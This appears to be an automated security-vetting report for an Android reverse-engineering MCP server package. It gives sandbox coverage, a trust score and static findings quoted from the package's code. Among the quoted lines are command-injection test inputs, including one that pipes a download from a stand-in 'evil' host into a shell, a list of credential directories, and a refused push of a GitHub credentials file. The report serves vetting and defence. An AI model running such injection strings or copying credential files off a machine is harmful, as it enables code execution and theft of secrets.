android-re-mcp@1.6.0
CAUTION· not startedPublisher claims: "Android dynamic analysis MCP server: adb, Frida, mitmproxy, apktool, jadx" Observed in sandbox: no network, touches nothing outside the project, writes no memory.
Coverage
Not started: dependency install failed; the server itself was not observed.- Tested
- the dependency install step · every file read, file written and host contacted by what ran
- Not tested
- server startup · the tool list · tool behavior
What this means for the label: Caution here covers what ran. The server's tools were not exercised with a real credential, so nothing about their behavior is asserted; the credential summary below says what to do with that.
Before you give it your token
- It will ask for
ANDROID_RE_MCP_TOKENConfiguration, not credentials: ANDROID_RE_MCP_ALLOW_INSTALL, ANDROID_RE_MCP_ALLOWED_DIRS, ANDROID_RE_MCP_CONFIG, ANDROID_RE_MCP_FRIDA_ENDPOINT, ANDROID_RE_MCP_HOME, ANDROID_RE_MCP_TOOLS_DIR- Where it talks to
- no vendor host named in the codeAlso android.com, getpostman.com, adoptium.net, nodejs.org, githubusercontent.com — not the publisher's domain; check what for before connecting.
- What the honeypot saw
- no credential files read · no network
- What we could not test
- server startup · the tool list · tool behavior
Connect it with a scoped credential, under the guard, and read the third-party hosts first. The code names android.com, getpostman.com, adoptium.net, nodejs.org, githubusercontent.com as well as its own vendor. The guard injects ANDROID_RE_MCP_TOKEN only into requests to the host you bind (and its subdomains) and refuses the rest.
Never paste a credential into a chat, a ticket or a report, including ours. How the guard holds it.
What changed since 1.4.0
vet-skills diff android-re-mcp 1.4.0 1.6.0In the sandbox, this version reached for nothing 1.4.0 did not. Compared from the two recorded runs, not from source.
1.4.0 was not run in the sandbox (install failed); the comparison covers what static analysis recorded only.
The guard can hold an update like this until someone approves it (runtime.on_change: hold). A change that only shows with a real credential, or on a path the run did not reach, is not in a trace and so not in this comparison.
Is [email protected] safe to install?
KillerSkills ran it in the KillerSkills honeypot sandbox (2 scenarios; not started: dependency install failed; the server itself was not observed) on 2026-11-18 and scored it 75/100 (Caution). It is not known to be malicious, but it has behaviour or code a security policy should decide on before install. Notable findings: Privileged sudo command; Privileged sudo command; Privileged sudo command. Summary: no network, touches nothing outside the project, writes no memory.
Behavior trace
Honeypot run · 1 s · 2 scenarios · 0 deviationsStatic findings
return _missing("apktool", "sudo apt install apktool OR choco install apktool")Fix: Build commands from fixed arguments; do not interpolate untrusted strings into a shell."Linux: sudo apt install scrcpy OR snap install scrcpy"Fix: Build commands from fixed arguments; do not interpolate untrusted strings into a shell.push = subprocess.run(Fix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out."hint": "Install a JDK/JRE 17+ (e.g. sudo apt install default-jre).",Fix: Build commands from fixed arguments; do not interpolate untrusted strings into a shell.".ssh", ".gnupg", ".aws", ".azure", ".kube", ".docker", ".netrc", ".npmrc", ".pypirc",Fix: Stop enumerating or reading credential locations; take secrets from a declared environment variable the user sets on purpose.return _missing("r2", "sudo apt install radare2 OR brew install radare2")Fix: Build commands from fixed arguments; do not interpolate untrusted strings into a shell.proc = subprocess.run(Fix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.proc = subprocess.Popen(Fix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.r = subprocess.run(["frida", "--version"], capture_output=True, text=True, timeout=5)Fix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.result = subprocess.run(cmd, capture_output=True, timeout=15)Fix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.self._logcat_proc = subprocess.Popen(Fix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.return subprocess.run(cmd, capture_output=True, text=True, timeout=timeout)Fix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out."instructions": "Linux: sudo apt install scrcpy | Mac: brew install scrcpy",Fix: Build commands from fixed arguments; do not interpolate untrusted strings into a shell.proc = subprocess.run(Fix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.proc = subprocess.run(Fix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.proc = subprocess.run(Fix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.proc = subprocess.run(Fix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out."instructions": "Linux: sudo apt install adb | Mac: brew install --cask android-platform-tools | Windows: https://developer.android.com/tools/releases/platform-tools",Fix: Build commands from fixed arguments; do not interpolate untrusted strings into a shell.chmod = subprocess.run(Fix: Request the narrowest permission that works; replace wildcards with the exact paths or hosts.proc = subprocess.run(["npm", "install", "-g", package], capture_output=True, text=True, timeout=300)Fix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.proc = subprocess.run(Fix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.proc = subprocess.run(Fix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.probe = subprocess.run([cli, "--version"], capture_output=True, text=True, timeout=10)Fix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.proc = subprocess.run(Fix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.proc = subprocess.run(Fix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.proc = subprocess.run(cmd, capture_output=True, text=True, timeout=_TIMEOUT)Fix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.sp = subprocess.run(sign_cmd, capture_output=True, text=True, timeout=_TIMEOUT)Fix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.chmod = subprocess.run(Fix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.proc = subprocess.run(Fix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.proc = subprocess.run(Fix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.self._mitm_proc = subprocess.Popen(Fix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.proc = subprocess.run(Fix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.proc = subprocess.run(Fix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.proc = subprocess.run(Fix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.result = subprocess.run(Fix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.proc = subprocess.run(Fix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.proc = subprocess.run(Fix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.proc2 = subprocess.run(Fix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.proc = subprocess.run(Fix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out."error": chmod.stderr or chmod.stdout or "chmod failed on the device"}Fix: Request the narrowest permission that works; replace wildcards with the exact paths or hosts.proc = subprocess.run(Fix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.proc = subprocess.run(Fix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.proc = subprocess.run(cmd, capture_output=True, text=True, timeout=300)Fix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.r = subprocess.run([_frida_cli, "--version"], capture_output=True, text=True, timeout=5)Fix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.…dents getcwd chdir fchdir rename mkdir rmdir creat link unlink symlink readlink chmod fchmod chown fchown lchown umask gettimeofday getrlimit getrusage sysinfo times …Fix: Request the narrowest permission that works; replace wildcards with the exact paths or hosts.proc = subprocess.run(Fix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.proc = subprocess.run(Fix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.Before executing *any* tools on a target APK, you MUST follow this reasoning framework. Do not randomly execute tools without formulating a plan based on the immediate context.Fix: Remove the text that addresses the agent rather than the reader; describe behavior, do not instruct.@pytest.mark.parametrize("target", ["x;!id", "0x0;!id", "sym.main; !curl evil|sh", "a b", "$(id)", "", "x\nid"])Fix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.@pytest.mark.parametrize("target", ["x;!id", "0x0;!id", "sym.main; !curl evil|sh", "a b", "$(id)", "", "x\nid"])Fix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.HAS_QUARK = importlib.util.find_spec("quark") is not NoneFix: Build commands from fixed arguments; do not interpolate untrusted strings into a shell.if importlib.util.find_spec("quark") is None:Fix: Build commands from fixed arguments; do not interpolate untrusted strings into a shell.…getpeername socketpair setsockopt getsockopt clone fork vfork execve exit wait4 kill uname semget semop semctl shmdt msgget msgsnd msgrcv msgctl fcntl flock fsync fd…Fix: Build commands from fixed arguments; do not interpolate untrusted strings into a shell.…d_get_priority_max sched_get_priority_min sched_rr_get_interval restart_syscall kill tkill tgkill sigaltstack rt_sigsuspend rt_sigaction rt_sigprocmask rt_sigpending…Fix: Build commands from fixed arguments; do not interpolate untrusted strings into a shell.refused("adb_push", {"local": "~/.config/gh/hosts.yml", "remote": "/sdcard/x"})Fix: Stop enumerating or reading credential locations; take secrets from a declared environment variable the user sets on purpose.Cost to the agent
Tokens estimated at four characters each. The tool list is re-read by the agent on every turn, so it is the number to compare between servers that do the same job: ranked across the index.
Known vulnerabilities
No advisories in OSV for android-re-mcp@1.6.0 as of 15 min ago. This is the package itself, not its dependencies.
What would make this Verified
5 points to 80 · weights: behavior 45%, static 25%, prompt 15%, publisher 15%- Unclaimed publisher≈ +8 on the totalClaim flyphantomfly: a verified publisher gets +50 on publisher trust. It is free and usually instant with GitHub sign-in.
- Privileged sudo command≈ +4 on the totalBuild commands from fixed arguments; do not interpolate untrusted strings into a shell.
- Access to sensitive file paths≈ +4 on the totalStop enumerating or reading credential locations; take secrets from a declared environment variable the user sets on purpose.
- Python subprocess execution detected≈ +2 on the totalBuild commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.
- File permission modification command≈ +2 on the totalRequest the narrowest permission that works; replace wildcards with the exact paths or hosts.
- Remote installer piped to shell≈ +2 on the totalBuild commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.